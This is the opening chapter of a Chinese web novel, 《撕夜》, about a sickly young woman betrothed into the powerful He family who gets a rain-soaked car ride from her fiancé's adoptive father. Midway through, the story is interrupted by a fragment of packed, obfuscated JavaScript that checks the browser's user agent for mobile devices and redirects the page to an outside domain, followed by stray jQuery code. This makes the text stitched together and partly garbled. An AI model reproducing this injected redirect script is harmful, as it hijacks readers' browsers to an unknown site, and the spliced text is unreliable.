1. 第 1 章
作品:《撕夜》 立秋尚且燥热,午时,贺家静谧安宁。
清脆的“叩叩”声骤然响起,默了片刻,徐宜昭缓缓睁眼,掀起身上的薄被去开门。
门外是贺家的佣人手端托盘,微笑望着她:“徐小姐,您该喝药了。”
徐宜昭细长的眉下意识微拧,凝了会儿,才伸出纤细的手腕,接过药碗。
她喝药的动作慢条斯理且优雅,即使这场面看过数次,那佣人仍是禁不住欣赏感叹一番。
许是久病缘故,徐小姐身形过于纤瘦,柔弱。
她瘦,却并非骨感的瘦,反而瘦得很匀称,她四肢纤细修长,藏在睡裙下的腰身不盈一握,肤若凝脂,白如冷玉,五官精致秀美,美如画。
她像是被老天格外垂爱了。
但佣人转而又想,要是徐小姐真被老天格外垂爱,又怎么会给她这样一副病弱的身躯。
喝完一碗药,徐宜昭小脸皱巴巴拧成团,她求救的眼神望向面前的佣人。
雾蒙蒙的眼睛,眨了又眨。
佣人几秒后反应过来,连忙道歉:“我忘了准备糖果上来,对不起,徐小姐。”
徐宜昭缓过了药劲,有气无力地挤出笑容:“没关系,也就苦一下,很快就过去了。”
佣人:“对不起,下次一定会准备的!”
徐宜昭笑了笑,又问起:“阿臻少爷还没回来吗?”
佣人说还没有。
贺臻白天很早便出了门,是最近迷上了赛车。
他自小便酷爱玩刺激惊险类的游戏,但很可惜,她的身体太弱,没办法陪他。
她因早产儿的缘故,从娘胎里带来的病症,天生便体弱。
说起来也并没有什么大毛病,听医生的说法是气血不足又畏寒无力,幼时她便是医院的常客,到后来养好了点身体不用住院了,却又要长期服用中药。
贺臻或许是玩过头,忘记三点要送她回徐家的事,她索性也不想麻烦他了。
“能麻烦你跟王叔说一声么?我下午要回徐家一趟。”
佣人应是,“那我这就让王师傅去备车。”
-
到达徐家已是四点,今日周末,家里人都在。
徐宜昭正在玄关换鞋,尚未站稳,忽感到身后有一股冲撞朝她袭来,她踉跄几步,半边身躯被撞到跌至鞋柜前,好在一旁有佣人扶住她,才避免被磕伤。
她转过身,看向几乎快到她胸口的少年。
徐致远,她同父异母的弟弟,今年十岁。
徐致远新剪了个寸头,反而看着更显调皮,他手中捧着游戏机,吊儿郎当笑道:“是二姐回来了?我刚都没看清楚人呢。”
徐宜昭淡笑,问他:“怎么没在房间写作业?”
徐致远不开心地撇撇嘴,“一回来就问我课业,烦人,回来干嘛呀?”
丢下这句,他转身跑回二楼。
徐宜昭跟那刚扶住她的佣人四目相对,她勉强笑了笑,掩饰尴尬。
她在十二岁那年被送到贺家居住,那时,徐致远才刚出生。
这十年,她每年回徐家的时间不多,徐致远跟她也没什么姐弟之情。
“小姐,老爷和夫人都在等您。”佣人伸手接过她手里的包。
徐宜昭嗯了声,换好拖鞋朝客厅行去。
她今天回徐家,是徐元振的要求。
今晚贺、徐两家有个饭局,关于这个饭局,徐元振看得极其重要,便特地让徐宜昭回家一趟,商议重事。
“昭昭,你在贺家住了有十年,这贺家就没有提出要为你跟贺臻举办正式的订婚仪式?这十年,你是半点儿都没有讨到贺老爷子的欢心?”
问话的是徐元振。
早年徐家家底丰厚,在京圈名流之列也排得上名号,可自从徐家被徐元振接手后,一年比一年败落,直到近年,徐家已如同一副躯壳,若非仗着与贺家的关系在此,恐怕日子会过得更加艰难。
在徐元振看来,目前没有什么比跟贺家捆绑至深,更有利于自己的事。
然而到底贺、徐两家的这桩婚事不过是当初长辈们的口头之言,随时都有取消的可能,不趁早定下来,他自是夜不能寐。
徐宜昭抿唇,不语。
反倒是坐在徐元振身旁的文芊在替她解围,“订婚这种事,昭昭一个小女孩怎么好意思提?徐家仰仗贺家多年,昭昭又在贺家养病有了十年,想必贺家早就把昭昭当一家人了,订婚这事,倒也不用急。”
文芊,是她父亲的现任妻子,在她母亲去世两年后嫁进了徐家。
文芊也曾有过一段婚姻,与前夫育有一女,女儿大徐宜昭两岁,随母亲到徐家后,现改名徐欣染。
后又与徐元振育有一子。
徐元振冷哼几声,仍是不爽,不过也被文芊这番话哄住情绪。
贺老爷子最是信守承诺,贺、徐两家的婚事也必定要结成。
他看了眼坐在面前的女儿。
白皙,纤瘦,弱柳扶风,随时是一副要病倒的模样,不免觉得可惜。
可惜他只有这一个女儿,可惜贺家没有女儿,否则他怎么会把这病秧子送去贺家。
就怕还没结成婚,就给病死了,那贺家的这桩姻亲恐怕只能就这样取消。
徐宜昭这次回徐家,又是听徐元振一阵念叨,最终还是文芊把徐元振哄回自己房间,她耳根子才落得清静。
见徐宜昭那落寞单薄的背影,文芊放轻脚步到她身旁落坐,握住她的手柔声安抚:“昭昭,你别难过,你爸爸脾气向来急躁,但他也是真心关心你的。”
徐宜昭垂眸,半晌,抬起淡笑:“谢谢文阿姨,我知道爸爸只是太担心徐家了。”
文芊见她没钻进死胡同里,很欣慰:“你先回房休息休息?晚点跟贺家的饭局,咱们一起过去。”
徐宜昭想了想,摇头:“我在外面还有点事儿要办,晚点我自己去就好。”
-
徐宜昭的确还有别的事。
离开徐家后,她独身前往了皋山陵园看望她的母亲,与母亲独处近一个小时,临下山前,她收到了贺臻的消息。
贺臻约她在北酊路的一家咖啡馆见面,徐宜昭便打车直接前往目的地。
今晚的饭局两人要一同出席,而贺臻下午在北酊路有赛车活动,目前忙得无法脱身,只能让徐宜昭在北酊路等他。
乌云层层叠叠,随着暮色降临,雨势急骤。
直到六点五十五分,还没等到贺臻。
“下雨了。”徐宜昭站在咖啡馆的屋檐下喃喃自语,摊手,自顾自找乐子接住成串的雨水。
她缓缓扬起笑意,望着眼前淅淅沥沥的雨幕。
约莫还有半个小时便到两家约定的时间,徐宜昭不能迟到,还没等到贺臻的到来,她有点着急。
正在想,要不要自己先打车过去。
握着手机犹豫之间,只见一部黑色卡宴冲破雨幕,朝此行来。
本以为只是路过,那辆车却意外在她面前停下,车窗随之降落。
徐宜昭望过去。
驾驶座的男人墨发黑衣,肤色呈冷白,眉目温雅,是极具书卷气的相貌。
没想到会在这儿碰见这人,徐宜昭心头一跳,赶忙朝对方礼貌打招呼:“贺叔叔。”
这就是贺家的家主,贺今羡。
他年仅三十四,未婚未育,名下却有个养子。
贺今羡淡声应,又问她:“怎么一个人在这儿?”
他一眼掠过她被雨水沾湿的双手,神色未显,仍旧寡淡的。
但徐宜昭却像被隔空烫了一下,条件反射将双手往身后一背,“我在这等阿臻。”
“约的几点?”
“七点。”
贺今羡慢声:“刚好七点。”
徐宜昭踌躇:“那……”
话音才落,贺今羡已是开口:“上车。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606642|172071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>车子在雨幕中行驶。徐宜昭为避免尴尬,以晚辈的身份询问:“贺叔叔也要去今晚的饭局吗?”
贺今羡说话很慢,语调也带着几分他声线里独有的温柔:“我不记得,我不是贺家人。”
徐宜昭反应过来自己说错话,半侧过身躯看他:“抱歉贺叔叔,我不是那个意思,只是……”
他向来是贺家最忙碌的大人物,平时总是神龙见首不见尾,这种两家聚会的场合,贺今羡都极少出席。
况且,他应该很厌恶徐家……
与温和的相貌不同,贺今羡骨子里似乎是冷的。
这是徐宜昭在贺家住了十来年,细心观察下才发现。
这十年间,她极少有机会能与贺今羡独处,如今跟他单独两人在这样的小空间里,她觉得有些不自在。
他毕竟是长辈,也算看着她长大的。
但又不完全算她能够依靠的长辈。
徐宜昭不动声色缓缓呼气,排解紧张。
等车子行驶了约莫五分钟,她才反应过来车内竟是开了暖气。
“贺叔叔……”
徐宜昭不知该怎么跟他自然的交流,想了想,还是咽下心中的疑惑。
她主动喊了人,又没下文,身旁男人却也没追问,似乎邀请她上车,也不过是随意之举,才能做到将她视为空气。
这样也好。
她最害怕跟长辈交流了,更何况还是贺今羡。
两家饭局订的地点在望江阁,从北酊路开车过去也要二十分钟。
徐宜昭视线追着车窗外的水珠。
“喜欢下雨?”
安静的车内倏地响起声音。
徐宜昭肩颈微颤,很乖巧转过身,坐姿板正看向前方:“还好。”
贺今羡沉默。
也没打算说什么,等再行驶没两分钟,眼角余光才瞥到徐宜昭脸色不对。
徐宜昭脸色煞白,这次她清晰感受到体内有股热流涌了出来,起初有一点的时候,她以为只是错觉。
似乎是刚才扭动了下身躯,才导致热流来得匆忙。
她面上冷静,心在疯狂打鼓。
好像是例假来了……
她今天出门,身上也没有带卫生棉。
要是把贺今羡的车子弄脏,别说只是丢脸了,她恐怕再也不敢出现在贺家。
徐宜昭难受地换了个坐姿,屁股都不敢落实。
这时车子缓缓靠边停。
她手按住车门,轻声问:“贺叔叔,怎么突然停车了?”
贺今羡侧眸看她:“哪儿不舒服?”
眼底是一惯的沉静毫无波澜,瞳孔里的光晕却像是画作中最浓墨重彩的一笔。
徐宜昭微微出神,顿了半晌:“没……”
贺今羡:“宜昭,撒谎不是个好习惯。”
他没动怒,很平淡的语气却轻易将徐宜昭唬到,像是被长辈捡到她刚准备毁尸灭迹的二十六分试卷的心情。
浑身发冷,又惊又怕,不知将等待自己的会是什么处决。
徐宜昭自己都没发现,怕他怕到红了眼眶:“我……”
她难以启齿。
如果此时在她面前的人是贺臻,她都可以说出当下的难题。
但面对这个在她看来算是可以供奉起来尊敬的长辈,面对这个是她未婚夫养父的人,她很难说出口。
“不说是么?”贺今羡敛眸,单手握住方向盘,徐宜昭见他要开车,急忙问:“贺叔叔是要去哪儿?”
“医院。”
贺今羡淡声:“对付不听话的小孩,只好让医生来管教。”
徐宜昭从小到大,最害怕去的地方就是医院。
她对医院有天然的恐惧心理,几乎是排斥的,那于她而言就是噩梦,是地狱。
恐惧在前,她顾不上那么多,扑上去攀住贺今羡紧实的手臂,声线急得挤出哭腔:“贺叔叔,我招,我招就是了。”